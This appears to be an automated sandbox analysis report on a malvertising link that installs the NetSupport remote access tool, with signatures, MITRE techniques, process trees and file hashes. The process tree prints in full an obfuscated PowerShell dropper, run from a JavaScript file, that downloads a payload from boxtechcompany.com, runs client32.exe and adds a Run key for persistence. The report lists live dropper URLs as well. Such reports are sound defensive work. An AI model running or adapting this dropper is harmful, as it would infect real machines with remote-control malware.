netsupport | hxxp://adclick[.]g[.]doubleclick[.]net/aclk?sa=L&ai=BqJtdBWxAU4nHJ4ip-wbk_4GICtyYktUEAAAAEAEgjKnsHTgAWLSxtaqWAWCZhoCA9CGyARZndW5kZW0ubWlsbGl5ZXQuY29tLnRyugEJZ2ZwX2ltYWdlyAEJ2gFYaHR0cDovL2d1bmRlbS5taWxsaXlldC5jb20udHIvMy1rb3BydS12aXlhZHVndW5kZS1nb2N1ay9ndW5kZW0vZGV0YXkvMTg2MjcyOC9kZWZhdWx0Lmh0bakCtlPlsBi_nz7AAgLgAgDqAjMvMTI4MDcwNjYwL01pbGxpeWV0X0d1bmRlbS9NaWxsaXlldF9HdW5kZW1fcGFnZXNraW74AvTRHoADAZADhAeYA4QHqAMB4AQBoAYf&num=0&sig=AOD64_1_qXBCwExb-oj6QlJ28w160fH3jQ&client=ca-pub-5526484441315121&adurl=%2F%2F%2Fgg[.]gg%2Fcarzzz%23mWXikzW

Analysis

max time kernel
65s
max time network
70s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 14:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://adclick.g.doubleclick.net/aclk?sa=L&ai=BqJtdBWxAU4nHJ4ip-wbk_4GICtyYktUEAAAAEAEgjKnsHTgAWLSxtaqWAWCZhoCA9CGyARZndW5kZW0ubWlsbGl5ZXQuY29tLnRyugEJZ2ZwX2ltYWdlyAEJ2gFYaHR0cDovL2d1bmRlbS5taWxsaXlldC5jb20udHIvMy1rb3BydS12aXlhZHVndW5kZS1nb2N1ay9ndW5kZW0vZGV0YXkvMTg2MjcyOC9kZWZhdWx0Lmh0bakCtlPlsBi_nz7AAgLgAgDqAjMvMTI4MDcwNjYwL01pbGxpeWV0X0d1bmRlbS9NaWxsaXlldF9HdW5kZW1fcGFnZXNraW74AvTRHoADAZADhAeYA4QHqAMB4AQBoAYf&num=0&sig=AOD64_1_qXBCwExb-oj6QlJ28w160fH3jQ&client=ca-pub-5526484441315121&adurl=%2F%2F%2Fgg.gg%2Fcarzzz%23mWXikzW

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://boxtechcompany.com/1/GetData.php?11099

exe.dropper

https://boxtechcompany.com/1/GetData.php?11099

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://boxtechcompany.com/1/GetData.php?6833

exe.dropper

https://boxtechcompany.com/1/GetData.php?6833

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 4 IoCs

flow	pid	Process
90	3580	WScript.exe
96	2720	powershell.exe
108	1916	WScript.exe
109	2688	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
5108	client32.exe
5008	client32.exe

Loads dropped DLL 11 IoCs

pid	Process
5108	client32.exe
5108	client32.exe
5108	client32.exe
5108	client32.exe
5108	client32.exe
5108	client32.exe
5008	client32.exe
5008	client32.exe
5008	client32.exe
5008	client32.exe
5008	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX910\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 728438.crdownload:SmartScreen	msedge.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	90	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	108	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3332	msedge.exe
3332	msedge.exe
4744	msedge.exe
4744	msedge.exe
4160	identity_helper.exe
4160	identity_helper.exe
1968	msedge.exe
1968	msedge.exe
2720	powershell.exe
2720	powershell.exe
2720	powershell.exe
2688	powershell.exe
2688	powershell.exe
2688	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeSecurityPrivilege	5108	client32.exe
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
5108	client32.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe
4744	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4744 wrote to memory of 1848	4744	msedge.exe	84
PID 4744 wrote to memory of 1848	4744	msedge.exe	84
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3756	4744	msedge.exe	86
PID 4744 wrote to memory of 3332	4744	msedge.exe	85
PID 4744 wrote to memory of 3332	4744	msedge.exe	85
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87
PID 4744 wrote to memory of 4860	4744	msedge.exe	87

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://adclick.g.doubleclick.net/aclk?sa=L&ai=BqJtdBWxAU4nHJ4ip-wbk_4GICtyYktUEAAAAEAEgjKnsHTgAWLSxtaqWAWCZhoCA9CGyARZndW5kZW0ubWlsbGl5ZXQuY29tLnRyugEJZ2ZwX2ltYWdlyAEJ2gFYaHR0cDovL2d1bmRlbS5taWxsaXlldC5jb20udHIvMy1rb3BydS12aXlhZHVndW5kZS1nb2N1ay9ndW5kZW0vZGV0YXkvMTg2MjcyOC9kZWZhdWx0Lmh0bakCtlPlsBi_nz7AAgLgAgDqAjMvMTI4MDcwNjYwL01pbGxpeWV0X0d1bmRlbS9NaWxsaXlldF9HdW5kZW1fcGFnZXNraW74AvTRHoADAZADhAeYA4QHqAMB4AQBoAYf&num=0&sig=AOD64_1_qXBCwExb-oj6QlJ28w160fH3jQ&client=ca-pub-5526484441315121&adurl=%2F%2F%2Fgg.gg%2Fcarzzz%23mWXikzW
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb79ce46f8,0x7ffb79ce4708,0x7ffb79ce4718
  2⤵
  PID:1848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2204 /prefetch:2
  2⤵
  PID:3756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2912 /prefetch:8
  2⤵
  PID:4860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:3592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
  2⤵
  PID:2672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4152 /prefetch:1
  2⤵
  PID:564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5228 /prefetch:1
  2⤵
  PID:3328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4064 /prefetch:1
  2⤵
  PID:544
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5656 /prefetch:8
  2⤵
  PID:4316
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5656 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5192 /prefetch:1
  2⤵
  PID:452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5488 /prefetch:1
  2⤵
  PID:4076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5784 /prefetch:1
  2⤵
  PID:3992
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4232 /prefetch:1
  2⤵
  PID:1040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5684 /prefetch:8
  2⤵
  PID:2528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2188,3634099604903447830,5415034264012508189,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6112 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1968
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\BILL33376.js"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  PID:3580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $AhEeDVVrhsiKzPGrGgGmZYKq='https://boxtechcompany.com/1/GetData.php?11099';$fyxDvImIaCybA=(New-Object System.Net.WebClient).DownloadString($AhEeDVVrhsiKzPGrGgGmZYKq);$BktLRjYZTOwnyVMrDVDF=[System.Convert]::FromBase64String($fyxDvImIaCybA);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $iefhQMMmONvFkwYichm=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $iefhQMMmONvFkwYichm -PathType Container)) { New-Item -Path $iefhQMMmONvFkwYichm -ItemType Directory };$p=Join-Path $iefhQMMmONvFkwYichm 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$BktLRjYZTOwnyVMrDVDF);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$iefhQMMmONvFkwYichm)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $iefhQMMmONvFkwYichm 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $iefhQMMmONvFkwYichm -Force; $FSDFSSD.attributes='Hidden';$s=$iefhQMMmONvFkwYichm+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
    3⤵
    - Blocklisted process makes network request
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2720
  - - C:\Users\Admin\AppData\Roaming\DIVX910\client32.exe
      "C:\Users\Admin\AppData\Roaming\DIVX910\client32.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:5108

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3988

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1540

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:652

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\BILL33376.js"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
PID:1916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $IgURpCmrvuegevOkcdrHZwOy='https://boxtechcompany.com/1/GetData.php?6833';$nLnLcJMaXxdvXrlvGdCYJNXuXj=(New-Object System.Net.WebClient).DownloadString($IgURpCmrvuegevOkcdrHZwOy);$pLCnNnOendVwjuuQvUpgWtZ=[System.Convert]::FromBase64String($nLnLcJMaXxdvXrlvGdCYJNXuXj);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $BXfTFRyqicQbeneg=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $BXfTFRyqicQbeneg -PathType Container)) { New-Item -Path $BXfTFRyqicQbeneg -ItemType Directory };$p=Join-Path $BXfTFRyqicQbeneg 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$pLCnNnOendVwjuuQvUpgWtZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$BXfTFRyqicQbeneg)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $BXfTFRyqicQbeneg 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $BXfTFRyqicQbeneg -Force; $FSDFSSD.attributes='Hidden';$s=$BXfTFRyqicQbeneg+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- - C:\Users\Admin\AppData\Roaming\DIVX-674\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX-674\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
15ce4e5094fc27bc25d3b30b808d5e1a

SHA1
18ec0079a0b4dac78fede2ddccb99bd73e5a6046

SHA256
dd1b9a493109eccd8f922416321fcf60c09ab140ad092607114fae04755486c9

SHA512
a55b4790b4afa2dda021def1d39622fdc16a1f4d20f448ae2aff1b078bf0abdd4f55b82fbb88646bffc588b4c1a09e86bc1bc50f6d6977df038ec66ecdec490a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
efc9c7501d0a6db520763baad1e05ce8

SHA1
60b5e190124b54ff7234bb2e36071d9c8db8545f

SHA256
7af7b56e2f0a84ae008785726f3404eb9001baa4b5531d0d618c6bdcb05a3a7a

SHA512
bda611ddba56513a30295ea5ca8bc59e552154f860d13fed97201cdb81814dd6d1bca7deca6f8f58c9ae585d91e450f4383a365f80560f4b8e59a4c8b53c327d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
312B

MD5
b9511b8839a942b29f7a222623ffccf3

SHA1
910647c211c1bbbb9b540f1b88fcf89907cc2364

SHA256
78d63058886ed485b4f194597b9d2df9f10e9e404e8d3438b8b4dda9e29945b6

SHA512
f07beaafddef7414156953dc8206152a5529cf919ab253183c95f20e8c144ff95dd078cda142dd3968d94b470455b931ae71db9603a6cc7ad51e8ac539badfa6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
674b34c2dfd121d6571d47e23af37170

SHA1
6dc2fa2d8b7cc8a93ba94180f7c734fbdba80397

SHA256
84d985b110c7a9e0ffa140b67ef67eba00ea46605f91cae878a085cafc2781b5

SHA512
4fbba14405e7de107854a21635eefd968dcadae7c1635ea8f1213b14fe4e33762ed989245a31e4565db09bed39477d63b99304675131692c917bd751b1572295

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
ddf5527411756efa231d25c46f2eef2c

SHA1
e101b650c14bba839597d8be3d92f805a9d82667

SHA256
417cfb068d66baa4f1af05b5656293214d86aca4388d7e434c0b13715195c9e6

SHA512
be899519ff4fdc2b299dc63f54e57cc260051b5195ee357c562360f3c885a00fe475c840a32e4565122231ce0ab24267f5ffc416ebbe12d34d4545fcd5e4276b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
41dd6a5cf18b777f2a798e5be09b68ce

SHA1
be3cfd93f1f74d26a1db99e78f28b05919a88d9e

SHA256
7075deedd73c5d22118f453c6641d5a7bdde5fd433200e7c83cb59cf0af4454d

SHA512
429f58fd3858db83ae657bf711257764c5279a5410d4bb0aed9e739ff77ecf1f59966dfb6f3553106281f9ed429ecff741a1a0fabc1eaa565e3323553083e7e5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
121510c1483c9de9fdb590c20526ec0a

SHA1
96443a812fe4d3c522cfdbc9c95155e11939f4e2

SHA256
cf5d26bc399d0200a32080741e12f77d784a3117e6d58e07106e913f257aa46c

SHA512
